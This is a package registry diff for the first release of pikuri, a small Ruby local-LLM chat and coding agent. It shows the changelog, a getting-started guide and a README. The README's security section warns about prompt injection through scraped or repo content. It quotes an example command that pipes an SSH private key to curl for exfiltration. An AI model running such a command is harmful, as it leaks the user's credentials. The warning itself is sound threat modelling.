pikuri 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +62 -0
- data/GETTING_STARTED.md +223 -0
- data/LICENSE +21 -0
- data/README.md +193 -0
- data/lib/pikuri/agent/chat_transport.rb +41 -0
- data/lib/pikuri/agent/context_window_detector.rb +101 -0
- data/lib/pikuri/agent/listener/in_memory_message_list.rb +33 -0
- data/lib/pikuri/agent/listener/message_listener.rb +93 -0
- data/lib/pikuri/agent/listener/step_limit.rb +97 -0
- data/lib/pikuri/agent/listener/terminal.rb +137 -0
- data/lib/pikuri/agent/listener/token_log.rb +166 -0
- data/lib/pikuri/agent/listener_list.rb +113 -0
- data/lib/pikuri/agent/message.rb +61 -0
- data/lib/pikuri/agent/synthesizer.rb +120 -0
- data/lib/pikuri/agent/tokens.rb +56 -0
- data/lib/pikuri/agent.rb +286 -0
- data/lib/pikuri/subprocess.rb +166 -0
- data/lib/pikuri/tool/bash.rb +272 -0
- data/lib/pikuri/tool/calculator.rb +82 -0
- data/lib/pikuri/tool/confirmer.rb +96 -0
- data/lib/pikuri/tool/edit.rb +196 -0
- data/lib/pikuri/tool/fetch.rb +167 -0
- data/lib/pikuri/tool/glob.rb +310 -0
- data/lib/pikuri/tool/grep.rb +338 -0
- data/lib/pikuri/tool/parameters.rb +314 -0
- data/lib/pikuri/tool/read.rb +254 -0
- data/lib/pikuri/tool/scraper/fetch_error.rb +16 -0
- data/lib/pikuri/tool/scraper/html.rb +285 -0
- data/lib/pikuri/tool/scraper/pdf.rb +54 -0
- data/lib/pikuri/tool/scraper/simple.rb +177 -0
- data/lib/pikuri/tool/search/brave.rb +184 -0
- data/lib/pikuri/tool/search/duckduckgo.rb +196 -0
- data/lib/pikuri/tool/search/engines.rb +154 -0
- data/lib/pikuri/tool/search/exa.rb +217 -0
- data/lib/pikuri/tool/search/rate_limiter.rb +92 -0
- data/lib/pikuri/tool/search/result.rb +29 -0
- data/lib/pikuri/tool/skill.rb +80 -0
- data/lib/pikuri/tool/skill_catalog.rb +376 -0
- data/lib/pikuri/tool/sub_agent.rb +102 -0
- data/lib/pikuri/tool/web_scrape.rb +117 -0
- data/lib/pikuri/tool/web_search.rb +38 -0
- data/lib/pikuri/tool/workspace.rb +150 -0
- data/lib/pikuri/tool/write.rb +170 -0
- data/lib/pikuri/tool.rb +118 -0
- data/lib/pikuri/url_cache.rb +106 -0
- data/lib/pikuri/version.rb +10 -0
- data/lib/pikuri.rb +165 -0
- data/prompts/coding-system-prompt.txt +28 -0
- data/prompts/pikuri-chat.txt +15 -0
- metadata +259 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 6ce82e87d9498175b524fae4b97d8409758d8fe18783bd7084ae79afd606c56a
|
|
4
|
+
data.tar.gz: a17444b138a83252172ba0bcaa9d99129642cef0be2e1307bcc0b9203092ebb8
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 5620bfd3290ea12b6069375382c1e79e769a7a2822d94b91bc166c2d0ac50ea41a2b75fd618ff006ac4500398da05ab9d0f970b123e44ef2a4c6f01e1096dd4d
|
|
7
|
+
data.tar.gz: 995b317bce1952d161c2c4e0088eb92ee9cf7788252c7496949d14633e9126acfc4cedfb7a5f105f9ab4a6e359d63b41cce5d3246cc113d334c07ab259218862
|
data/CHANGELOG.md
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to pikuri are recorded here. Format follows
|
|
4
|
+
[Keep a Changelog](https://keepachangelog.com/en/1.1.0/); the project
|
|
5
|
+
uses semver as documented in `lib/pikuri/version.rb`.
|
|
6
|
+
|
|
7
|
+
## [Unreleased]
|
|
8
|
+
|
|
9
|
+
## [0.0.1] - 2026-05-14 — first packaged release
|
|
10
|
+
|
|
11
|
+
The initial gem release. Pikuri is shipped as a **library** — there are
|
|
12
|
+
no executables installed by `gem install pikuri`. The `bin/pikuri-chat`
|
|
13
|
+
and `bin/pikuri-code` scripts in the source tree are dev/demo entry
|
|
14
|
+
points; production binaries built on pikuri (notably the planned
|
|
15
|
+
`pikuri-tui`) will live in their own downstream gems.
|
|
16
|
+
|
|
17
|
+
### Added
|
|
18
|
+
- `pikuri.gemspec` with runtime deps pulled from the previous `Gemfile`
|
|
19
|
+
(one source of truth; `Gemfile` now uses `gemspec`).
|
|
20
|
+
- `Pikuri::VERSION` constant (`lib/pikuri/version.rb`); Zeitwerk is
|
|
21
|
+
told to ignore the file since the constant is `VERSION`, not
|
|
22
|
+
`Version`.
|
|
23
|
+
- `LICENSE` (MIT) and gemspec license metadata.
|
|
24
|
+
- `Pikuri::PROMPTS_DIR` and `Pikuri.prompt(name)` — downstream library
|
|
25
|
+
users can read pikuri's bundled system prompts as a starting point
|
|
26
|
+
for their own wiring.
|
|
27
|
+
- `Tool::Bash` emits a loud warning at construction: the tool runs
|
|
28
|
+
commands unsandboxed under pikuri's UID and can read `~/.ssh`, AWS
|
|
29
|
+
credentials, etc. A future release will gate this behind a sandbox.
|
|
30
|
+
- `Pikuri::Tool::SkillCatalog` + `Pikuri::Tool::Skill` — pikuri's
|
|
31
|
+
implementation of the [Agent Skills standard](https://agentskills.io/specification).
|
|
32
|
+
`SkillCatalog` discovers and validates `SKILL.md` files under the
|
|
33
|
+
standard `.pikuri/skills`, `.claude/skills`, `.agents/skills`
|
|
34
|
+
directories (precedence in that order); `Tool::Skill` is auto-
|
|
35
|
+
registered by `Agent#initialize` whenever the wired-in catalog is
|
|
36
|
+
non-empty, and the catalog's prompt block is appended to the system
|
|
37
|
+
prompt so the LLM sees the available inventory without an extra
|
|
38
|
+
round-trip.
|
|
39
|
+
- `mise.toml` pinning Ruby 3.3, matching the gemspec floor.
|
|
40
|
+
- `CHANGELOG.md` (this file).
|
|
41
|
+
|
|
42
|
+
### Changed
|
|
43
|
+
- **Namespace move.** Top-level `Agent`, `Tool`, and `UrlCache` are now
|
|
44
|
+
`Pikuri::Agent`, `Pikuri::Tool`, `Pikuri::UrlCache`. All bundled
|
|
45
|
+
tools, listeners, and helpers live under `Pikuri::*`. Standard gem
|
|
46
|
+
layout: `lib/pikuri.rb` + `lib/pikuri/**/*.rb`; `spec/` mirrors it.
|
|
47
|
+
- `Pikuri::Agent::Listener::InMemoryList` renamed to `InMemoryMessageList`
|
|
48
|
+
to clarify what it records (message events).
|
|
49
|
+
- `UrlCache::ROOT_DIR` follows the XDG Base Directory spec:
|
|
50
|
+
`$XDG_CACHE_HOME/pikuri/url_cache` if set, else
|
|
51
|
+
`~/.cache/pikuri/url_cache`. Previously `/tmp/pikuri/cache`.
|
|
52
|
+
- `bin/pikuri-chat` and `bin/pikuri-code` read prompts via
|
|
53
|
+
`Pikuri.prompt(name)` instead of hand-rolled `__dir__` arithmetic.
|
|
54
|
+
|
|
55
|
+
### Project scope
|
|
56
|
+
- Pikuri targets **Linux**; macOS may work; Windows is unsupported.
|
|
57
|
+
Rationale: the eventual Bash-tool sandbox (Docker / bubblewrap) and
|
|
58
|
+
the existing reliance on POSIX shell + GNU coreutils + XDG layout
|
|
59
|
+
make a Windows port more cost than benefit.
|
|
60
|
+
- Hard ceiling on source size: a privacy-conscious user should be able
|
|
61
|
+
to read pikuri end-to-end in an evening and decide whether to trust
|
|
62
|
+
it outside a sandbox. New features compete against that budget.
|
data/GETTING_STARTED.md
ADDED
|
@@ -0,0 +1,223 @@
|
|
|
1
|
+
# Getting started with pikuri-chat
|
|
2
|
+
|
|
3
|
+
This guide walks you from a fresh checkout to a working privacy-first
|
|
4
|
+
chatbot running entirely on your own machine. The assumed platform is
|
|
5
|
+
Ubuntu (or another Debian-derived Linux); adapt the package commands if
|
|
6
|
+
you're elsewhere.
|
|
7
|
+
|
|
8
|
+
## 1. Clone and install
|
|
9
|
+
|
|
10
|
+
```sh
|
|
11
|
+
git clone https://codeberg.org/mvysny/pikuri.git
|
|
12
|
+
cd pikuri
|
|
13
|
+
|
|
14
|
+
# Ruby 3.x and Bundler. Pikuri has no Rails or native-extension
|
|
15
|
+
# headaches — the stock distro packages are fine.
|
|
16
|
+
sudo apt install ruby ruby-bundler
|
|
17
|
+
|
|
18
|
+
bundle install
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
That installs all the gems pikuri needs (`ruby_llm`, `faraday`,
|
|
22
|
+
`nokogiri`, `tty-markdown`, …) into your user gem path.
|
|
23
|
+
|
|
24
|
+
## 2. Try to run pikuri-chat (and watch it fail)
|
|
25
|
+
|
|
26
|
+
```sh
|
|
27
|
+
./bin/pikuri-chat "Hello"
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
You'll see a connection error. That's expected — pikuri-chat ships
|
|
31
|
+
pointed at a local `llama.cpp` server, and you don't have one running
|
|
32
|
+
yet. We'll start one in the next step.
|
|
33
|
+
|
|
34
|
+
This is the privacy property in action: pikuri does not silently fall
|
|
35
|
+
back to a cloud provider. No model means no answer.
|
|
36
|
+
|
|
37
|
+
## 3. Install llama.cpp
|
|
38
|
+
|
|
39
|
+
`llama.cpp` is the project that actually runs the model. Ubuntu 24.04
|
|
40
|
+
and newer have it packaged:
|
|
41
|
+
|
|
42
|
+
```sh
|
|
43
|
+
sudo apt install llama.cpp
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
This gives you `llama-server` on your `$PATH`. If your distro doesn't
|
|
47
|
+
package it, follow the build instructions at
|
|
48
|
+
<https://github.com/ggml-org/llama.cpp> — pikuri only needs the
|
|
49
|
+
`llama-server` binary.
|
|
50
|
+
|
|
51
|
+
## 4. Start the model
|
|
52
|
+
|
|
53
|
+
The model `bin/pikuri-chat` is wired for is `unsloth/Qwen3.6-35B-A3B-GGUF`
|
|
54
|
+
— a mixture-of-experts model from the Qwen series, quantized by the
|
|
55
|
+
folks at Unsloth so it fits in regular hardware. `llama-server` can
|
|
56
|
+
download it from Hugging Face for you on first run:
|
|
57
|
+
|
|
58
|
+
```sh
|
|
59
|
+
llama-server \
|
|
60
|
+
-hf unsloth/Qwen3.6-35B-A3B-GGUF \
|
|
61
|
+
--hf-file Qwen3.6-35B-A3B-UD-Q4_K_M.gguf \
|
|
62
|
+
-c 65536 \
|
|
63
|
+
--jinja
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
What each flag does:
|
|
67
|
+
|
|
68
|
+
- `-hf unsloth/Qwen3.6-35B-A3B-GGUF` — Hugging Face repo to pull from.
|
|
69
|
+
- `--hf-file Qwen3.6-35B-A3B-UD-Q4_K_M.gguf` — pick the
|
|
70
|
+
Q4_K_M quantization (good size/quality tradeoff).
|
|
71
|
+
- `-c 65536` — 64K context window. Pikuri's agent loop accumulates
|
|
72
|
+
tool observations into the context, so headroom matters.
|
|
73
|
+
- `--jinja` — enable Jinja chat templates. The Qwen3 series needs this
|
|
74
|
+
for correct tool-call formatting.
|
|
75
|
+
|
|
76
|
+
**Expect this to be slow on CPU.** A 35B-parameter mixture-of-experts
|
|
77
|
+
model running on CPU can manage a few tokens per second. If you have
|
|
78
|
+
an NVIDIA or AMD GPU with enough VRAM, add `-ngl 99` to offload all
|
|
79
|
+
layers onto the GPU — this is the single biggest speedup you can get.
|
|
80
|
+
See `llama-server --help` and the
|
|
81
|
+
[llama.cpp docs](https://github.com/ggml-org/llama.cpp/tree/master/tools/server)
|
|
82
|
+
for tuning options (`-t` for thread count, `-ngl N` for partial GPU
|
|
83
|
+
offload, `--mlock`, and friends).
|
|
84
|
+
|
|
85
|
+
The server binds to `127.0.0.1:8080` by default, and `bin/pikuri-chat`
|
|
86
|
+
is wired to `http://localhost:8080/v1` — so if you're running both on
|
|
87
|
+
the same machine, no further configuration is needed. If your
|
|
88
|
+
`llama-server` lives on another host, edit the `openai_api_base`
|
|
89
|
+
string near the top of `bin/pikuri-chat` to match.
|
|
90
|
+
|
|
91
|
+
## 5. Talk to it
|
|
92
|
+
|
|
93
|
+
In a second terminal, leaving `llama-server` running:
|
|
94
|
+
|
|
95
|
+
```sh
|
|
96
|
+
./bin/pikuri-chat
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
You'll get a `>` prompt. Try something the model can't answer from
|
|
100
|
+
memory alone — that's where the tools come in:
|
|
101
|
+
|
|
102
|
+
```
|
|
103
|
+
> What is 1837 * 4291, and what's the current Ruby stable version?
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
You should see the model emit reasoning, call the `calculator` tool
|
|
107
|
+
for the multiplication, call `web_search` (and likely `web_scrape`)
|
|
108
|
+
for the Ruby version, then reply in plain text. Use Ctrl+D or Ctrl+C
|
|
109
|
+
to exit.
|
|
110
|
+
|
|
111
|
+
## How the agentic loop works (and why it's private)
|
|
112
|
+
|
|
113
|
+
Pikuri runs the standard *Thought → Tool-call → Observation* loop:
|
|
114
|
+
|
|
115
|
+
1. The model receives your message plus the running conversation.
|
|
116
|
+
2. It produces either a final answer (and the turn ends) or a tool
|
|
117
|
+
call — a structured request like *"call `web_search` with query
|
|
118
|
+
`…`"*.
|
|
119
|
+
3. Pikuri executes the requested tool locally, capturing its output as
|
|
120
|
+
an *observation*.
|
|
121
|
+
4. The observation is appended to the conversation and the model is
|
|
122
|
+
called again.
|
|
123
|
+
|
|
124
|
+
The model itself runs entirely inside your `llama-server` process. It
|
|
125
|
+
has **no network access** of its own — it can only reason and emit
|
|
126
|
+
text. The single way information leaves your machine is when the model
|
|
127
|
+
asks pikuri to call a network-touching tool, and pikuri actually
|
|
128
|
+
performs that call on your behalf. If you never give the model network
|
|
129
|
+
tools, nothing the model "thinks about" can ever leave the box.
|
|
130
|
+
|
|
131
|
+
This is meaningfully stronger than the typical hosted-assistant
|
|
132
|
+
arrangement: there is no provider receiving your prompts, no telemetry
|
|
133
|
+
pipeline, and no fine-tuning corpus being assembled from your chats.
|
|
134
|
+
|
|
135
|
+
If you'd like to *see* this loop implemented in a handful of files
|
|
136
|
+
with nothing else in the way, the sister project
|
|
137
|
+
[agentic-loop-demo](https://codeberg.org/mvysny/agentic-loop-demo) is
|
|
138
|
+
written exactly for that. Pikuri uses the same shape, just wrapped in
|
|
139
|
+
tools, listeners, and sub-agents.
|
|
140
|
+
|
|
141
|
+
## What tools `bin/pikuri-chat` ships with
|
|
142
|
+
|
|
143
|
+
Four tools, all defined in `lib/pikuri/tool/` and wired in `bin/pikuri-chat`:
|
|
144
|
+
|
|
145
|
+
- **`calculator`** — evaluates an arithmetic expression with Dentaku.
|
|
146
|
+
Local, no network.
|
|
147
|
+
- **`web_search`** — runs a search query through one of the configured
|
|
148
|
+
search providers and returns a Markdown list of titles, URLs, and
|
|
149
|
+
snippets. See below for the privacy posture of each provider.
|
|
150
|
+
- **`web_scrape`** — fetches an HTML page or PDF, strips the chrome
|
|
151
|
+
with readability extraction, and returns the main content as
|
|
152
|
+
Markdown. The model typically chains `web_search` → pick a URL →
|
|
153
|
+
`web_scrape` to read the full article.
|
|
154
|
+
- **`fetch`** — downloads a URL verbatim (JSON, CSV, robots.txt,
|
|
155
|
+
source files) without any rendering pass that would corrupt the
|
|
156
|
+
bytes.
|
|
157
|
+
|
|
158
|
+
Plus a built-in *sub-agent* facility (enabled by
|
|
159
|
+
`agent.allow_sub_agent`): the model can dispatch a focused side-quest
|
|
160
|
+
to a fresh agent so the noisy intermediate observations don't pollute
|
|
161
|
+
the main context.
|
|
162
|
+
|
|
163
|
+
## Search providers and their privacy trade-offs
|
|
164
|
+
|
|
165
|
+
`web_search` is a cascade across whichever providers you have
|
|
166
|
+
configured. The orchestration lives in `lib/pikuri/tool/search/engines.rb`;
|
|
167
|
+
each provider's privacy posture is documented in detail at the top of
|
|
168
|
+
its source file.
|
|
169
|
+
|
|
170
|
+
### DuckDuckGo (default, no setup)
|
|
171
|
+
|
|
172
|
+
Always available — no API key, no registration. Pikuri scrapes the
|
|
173
|
+
public HTML endpoint at `html.duckduckgo.com`. DuckDuckGo's policy is
|
|
174
|
+
that they don't save your IP alongside searches, don't sell personal
|
|
175
|
+
information, and proxy the request so downstream content providers
|
|
176
|
+
can't profile you. The catch: DDG is largely a relay over Bing for
|
|
177
|
+
web results, so the *query content* still reaches Microsoft for
|
|
178
|
+
fulfillment, even though identifying info is stripped on the way out.
|
|
179
|
+
|
|
180
|
+
Good enough for everyday curiosity. See
|
|
181
|
+
`lib/pikuri/tool/search/duckduckgo.rb` for the full write-up.
|
|
182
|
+
|
|
183
|
+
### Brave Search API (recommended for sensitive queries)
|
|
184
|
+
|
|
185
|
+
The best privacy posture of the three. Brave does **not** train its
|
|
186
|
+
models on your queries, does not link queries to identifiers, and
|
|
187
|
+
retains query logs for 90 days by default (Zero Data Retention is
|
|
188
|
+
available on their Enterprise plan).
|
|
189
|
+
|
|
190
|
+
To enable it, register for a free API key at
|
|
191
|
+
<https://api-dashboard.search.brave.com> — the "Data for Search" tier
|
|
192
|
+
gives you 1 query/sec and ~2k queries/month at no cost. Then export
|
|
193
|
+
the key before starting pikuri:
|
|
194
|
+
|
|
195
|
+
```sh
|
|
196
|
+
export BRAVE_SEARCH_API_KEY=your-key-here
|
|
197
|
+
./bin/pikuri-chat
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
Once the env var is set, Brave joins the cascade and may be chosen
|
|
201
|
+
over DuckDuckGo for any given query. See `lib/pikuri/tool/search/brave.rb`.
|
|
202
|
+
|
|
203
|
+
### Exa (paid, weakest privacy)
|
|
204
|
+
|
|
205
|
+
Optional. Exa is a paid neural-search API; activate it by setting
|
|
206
|
+
`EXA_API_KEY`. Be aware that Exa's Terms grant them a
|
|
207
|
+
*perpetual, irrevocable, sub-licensable* license over the queries you
|
|
208
|
+
submit, and their privacy policy explicitly says queries are used for
|
|
209
|
+
training. Don't enable Exa if your search history would be
|
|
210
|
+
embarrassing or sensitive in a training set.
|
|
211
|
+
|
|
212
|
+
See `lib/pikuri/tool/search/exa.rb` for the full privacy posture.
|
|
213
|
+
|
|
214
|
+
### Recommended setup for best privacy
|
|
215
|
+
|
|
216
|
+
1. Run `llama-server` locally (Step 4 above).
|
|
217
|
+
2. Register a free Brave Search API key and `export
|
|
218
|
+
BRAVE_SEARCH_API_KEY=…`.
|
|
219
|
+
3. Leave Exa unset.
|
|
220
|
+
|
|
221
|
+
With this configuration, your prompts never leave your machine, and
|
|
222
|
+
your search queries hit Brave under a clear no-training-on-queries
|
|
223
|
+
commitment.
|
data/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
The MIT License (MIT)
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Martin Vysny
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in
|
|
13
|
+
all copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
21
|
+
THE SOFTWARE.
|
data/README.md
ADDED
|
@@ -0,0 +1,193 @@
|
|
|
1
|
+
# pikuri
|
|
2
|
+
|
|
3
|
+
A small Ruby AI assistant you run on your own machine. `bin/pikuri-chat`
|
|
4
|
+
is a general-purpose chatbot with a calculator, web search, web
|
|
5
|
+
scraping, and a fetch tool — wired by default to a
|
|
6
|
+
[llama.cpp](https://github.com/ggml-org/llama.cpp) server running
|
|
7
|
+
locally, so the conversation never leaves your computer unless the
|
|
8
|
+
model itself decides to call a tool.
|
|
9
|
+
|
|
10
|
+
## Quick start
|
|
11
|
+
|
|
12
|
+
```sh
|
|
13
|
+
git clone https://codeberg.org/mvysny/pikuri.git
|
|
14
|
+
cd pikuri
|
|
15
|
+
|
|
16
|
+
# Ruby 3.x + bundler (Ubuntu/Debian)
|
|
17
|
+
sudo apt install ruby ruby-bundler
|
|
18
|
+
|
|
19
|
+
bundle install
|
|
20
|
+
|
|
21
|
+
./bin/pikuri-chat "What is 17 * 23?"
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
The first run won't get far — pikuri-chat needs a model behind it. See
|
|
25
|
+
[GETTING_STARTED.md](GETTING_STARTED.md) for the full walkthrough:
|
|
26
|
+
installing `llama.cpp`, pulling a model, starting `llama-server`, and
|
|
27
|
+
asking your first question.
|
|
28
|
+
|
|
29
|
+
## Using pikuri as a library
|
|
30
|
+
|
|
31
|
+
Pikuri is shipped as a Ruby gem you can use in your own project. The
|
|
32
|
+
recommended path: **first** play with `bin/pikuri-chat`, inspect the
|
|
33
|
+
sources, get a feel for the shape — *then* pull pikuri into your
|
|
34
|
+
project as a library:
|
|
35
|
+
|
|
36
|
+
```ruby
|
|
37
|
+
# In your Gemfile
|
|
38
|
+
gem 'pikuri'
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
A minimal wiring — single agent, default `llama.cpp` transport, the
|
|
42
|
+
bundled calculator + web-search tools, the same system prompt
|
|
43
|
+
`pikuri-chat` uses:
|
|
44
|
+
|
|
45
|
+
```ruby
|
|
46
|
+
require 'pikuri'
|
|
47
|
+
|
|
48
|
+
RubyLLM.configure do |c|
|
|
49
|
+
c.openai_api_base = 'http://localhost:8080/v1' # llama.cpp default
|
|
50
|
+
c.openai_api_key = 'not-needed'
|
|
51
|
+
end
|
|
52
|
+
|
|
53
|
+
agent = Pikuri::Agent.new(
|
|
54
|
+
transport: Pikuri::Agent::ChatTransport.new(
|
|
55
|
+
model: 'unsloth/Qwen3.6-35B-A3B-GGUF',
|
|
56
|
+
provider: :openai,
|
|
57
|
+
assume_model_exists: true
|
|
58
|
+
),
|
|
59
|
+
system_prompt: Pikuri.prompt(:'pikuri-chat'),
|
|
60
|
+
tools: [Pikuri::Tool::CALCULATOR, Pikuri::Tool::WEB_SEARCH],
|
|
61
|
+
listeners: Pikuri::Agent::ListenerList.new([
|
|
62
|
+
Pikuri::Agent::Listener::Terminal.new,
|
|
63
|
+
Pikuri::Agent::Listener::StepLimit.new(max: 20)
|
|
64
|
+
])
|
|
65
|
+
)
|
|
66
|
+
|
|
67
|
+
agent.run_loop(user_message: 'What is 17 * 23?')
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
`bin/pikuri-chat` and `bin/pikuri-code` in this repo are the canonical
|
|
71
|
+
working examples — they're dev/demo scripts (not installed by
|
|
72
|
+
`gem install pikuri`), but they're the easiest place to crib wiring
|
|
73
|
+
from. The bundled system prompts under `prompts/` are loadable as a
|
|
74
|
+
starting point via `Pikuri.prompt(name)`.
|
|
75
|
+
|
|
76
|
+
## Why this exists
|
|
77
|
+
|
|
78
|
+
The existing self-hosted agent stacks have grown big and now have a
|
|
79
|
+
steep learning curve — a privacy-conscious user arriving fresh hits a
|
|
80
|
+
wall of JSON configuration before the first conversation. Pikuri is
|
|
81
|
+
the deliberate counter-move:
|
|
82
|
+
|
|
83
|
+
- **Privacy-first.** Defaults wire a local `llama.cpp` server. No
|
|
84
|
+
cloud account, no API key, no telemetry, no request leaving the
|
|
85
|
+
machine — unless you explicitly opt in by configuring an external
|
|
86
|
+
provider, or the model calls a network tool like `web_search`.
|
|
87
|
+
- **Simple.** Two short scripts, sane defaults, no config file required
|
|
88
|
+
to get the first conversation going.
|
|
89
|
+
- **Gentle learning curve.** Defaults work without a config file. The
|
|
90
|
+
surface area grows as you grow into it: start by chatting, then add
|
|
91
|
+
a search API key when you want better results, then edit the system
|
|
92
|
+
prompt when you want to specialise behaviour.
|
|
93
|
+
- **Teaches you how to use it.** [GETTING_STARTED.md](GETTING_STARTED.md)
|
|
94
|
+
walks you from zero — a fresh checkout, no model running — to a
|
|
95
|
+
working personal assistant: installing the local model server,
|
|
96
|
+
asking your first question, understanding what each bundled tool
|
|
97
|
+
does, and choosing a search backend that matches your privacy
|
|
98
|
+
comfort level.
|
|
99
|
+
|
|
100
|
+
## Curious how the agentic loop actually works?
|
|
101
|
+
|
|
102
|
+
Pikuri sits on top of [ruby_llm](https://rubyllm.com), which owns the
|
|
103
|
+
Thought → Tool-call → Observation loop. If you want to *learn* how
|
|
104
|
+
that loop works internally — minimal code, no extension surface,
|
|
105
|
+
nothing to wade through — read
|
|
106
|
+
[agentic-loop-demo](https://codeberg.org/mvysny/agentic-loop-demo).
|
|
107
|
+
It's the same author's small didactic project, written precisely so
|
|
108
|
+
the source is the lesson. Pikuri is the production-shaped sibling:
|
|
109
|
+
same loop, plus tools, listeners, sub-agents, and ergonomics.
|
|
110
|
+
|
|
111
|
+
# More Substance
|
|
112
|
+
|
|
113
|
+
pikuri-chat builds your understanding of pikuri underpinnings, but it's just a toy.
|
|
114
|
+
The real fun begins now.
|
|
115
|
+
|
|
116
|
+
## pikuri-code
|
|
117
|
+
|
|
118
|
+
An in-repo coding agent in the spirit of Claude Code, opencode, or
|
|
119
|
+
pi-code — but kept deliberately small so you can read the sources in
|
|
120
|
+
an evening. Wire-by-wire it's the same `Pikuri::Agent` as
|
|
121
|
+
`pikuri-chat`, with a different system prompt and a different toolset:
|
|
122
|
+
`read`, `write`, `edit`, `grep`, `glob`, `bash`, plus the web tools
|
|
123
|
+
and the calculator. Sub-agents are enabled, and any
|
|
124
|
+
[Agent Skills](https://agentskills.io/specification) discovered under
|
|
125
|
+
`.pikuri/skills`, `.claude/skills`, `.agents/skills` (project or home)
|
|
126
|
+
get exposed to the model on demand.
|
|
127
|
+
|
|
128
|
+
Run it from the root of the repo you want it to work in:
|
|
129
|
+
|
|
130
|
+
```sh
|
|
131
|
+
cd ~/code/your-project
|
|
132
|
+
/path/to/pikuri/bin/pikuri-code
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
You'll land in a REPL — type a request at the `>` prompt, hit enter,
|
|
136
|
+
and the agent will start reading files, running commands, and editing
|
|
137
|
+
code to satisfy it. Ctrl+D (or Ctrl+C) exits. You can also pass an
|
|
138
|
+
initial message on the command line:
|
|
139
|
+
|
|
140
|
+
```sh
|
|
141
|
+
/path/to/pikuri/bin/pikuri-code "find the failing spec and fix it"
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
The first time the agent wants to write a file or run a shell command,
|
|
145
|
+
it prompts you on the terminal (`(y/n)?`). Read what it's about to do
|
|
146
|
+
before you say yes. If an `AGENTS.md` or `CLAUDE.md` exists at the
|
|
147
|
+
workspace root, it's prepended to the system prompt as project
|
|
148
|
+
context.
|
|
149
|
+
|
|
150
|
+
### Security: this is a tech demo, treat it accordingly
|
|
151
|
+
|
|
152
|
+
**Do not run `pikuri-code` against a sensitive checkout on a machine
|
|
153
|
+
that holds secrets you care about.** It is a working demo of the
|
|
154
|
+
coding-agent shape, *not* a hardened tool. The threat model has
|
|
155
|
+
glaring holes:
|
|
156
|
+
|
|
157
|
+
- **No sandbox.** The `bash` tool runs commands as your user, with
|
|
158
|
+
your environment, your `$HOME`, your `~/.ssh`, your shell history,
|
|
159
|
+
your browser cookies, your cloud CLI credentials — all reachable.
|
|
160
|
+
An LLM that's been prompt-injected (e.g. by a malicious README it
|
|
161
|
+
scraped, a poisoned dependency, or a crafted file in the repo) can
|
|
162
|
+
ask to run `cat ~/.ssh/id_ed25519 | curl -X POST ...` and the only
|
|
163
|
+
thing standing between that and exfiltration is *you* reading the
|
|
164
|
+
confirmation prompt carefully. The workspace lock applies to
|
|
165
|
+
pikuri's own `read`/`write`/`edit`/`grep`/`glob` tools — it does
|
|
166
|
+
**not** apply to `bash`, which can `cat`, `cp`, `scp`, `curl`
|
|
167
|
+
anything the OS lets your user touch.
|
|
168
|
+
- **`--yolo` auto-approves everything.** That flag exists for use
|
|
169
|
+
*inside* a disposable container or VM. Running `--yolo` on your
|
|
170
|
+
laptop is equivalent to handing the model a root shell. Don't.
|
|
171
|
+
- **Network tools fetch arbitrary URLs.** `web_search`, `web_scrape`,
|
|
172
|
+
and `fetch` are happy to pull whatever the model asks for, and the
|
|
173
|
+
content of those pages then becomes part of the conversation —
|
|
174
|
+
classic indirect prompt-injection surface.
|
|
175
|
+
- **No audit log of approved actions.** Once you approve a `bash`
|
|
176
|
+
command it runs; there's no separate record beyond your scrollback.
|
|
177
|
+
|
|
178
|
+
In short: run it inside a Docker container, a dev container, a VM, a
|
|
179
|
+
fresh user account — anywhere you'd be fine with a stranger having a
|
|
180
|
+
shell. The sandboxing story is a known gap and tracked as future
|
|
181
|
+
work (see `IDEAS.md`); until it lands, **assume the agent can do
|
|
182
|
+
anything your user can do**, and approve prompts on that basis.
|
|
183
|
+
|
|
184
|
+
## pikuri-assistant
|
|
185
|
+
|
|
186
|
+
Has access to your private documents, can read and respond to e-mails, remembers
|
|
187
|
+
stuff. TODO implemented in the future.
|
|
188
|
+
|
|
189
|
+
## Tests
|
|
190
|
+
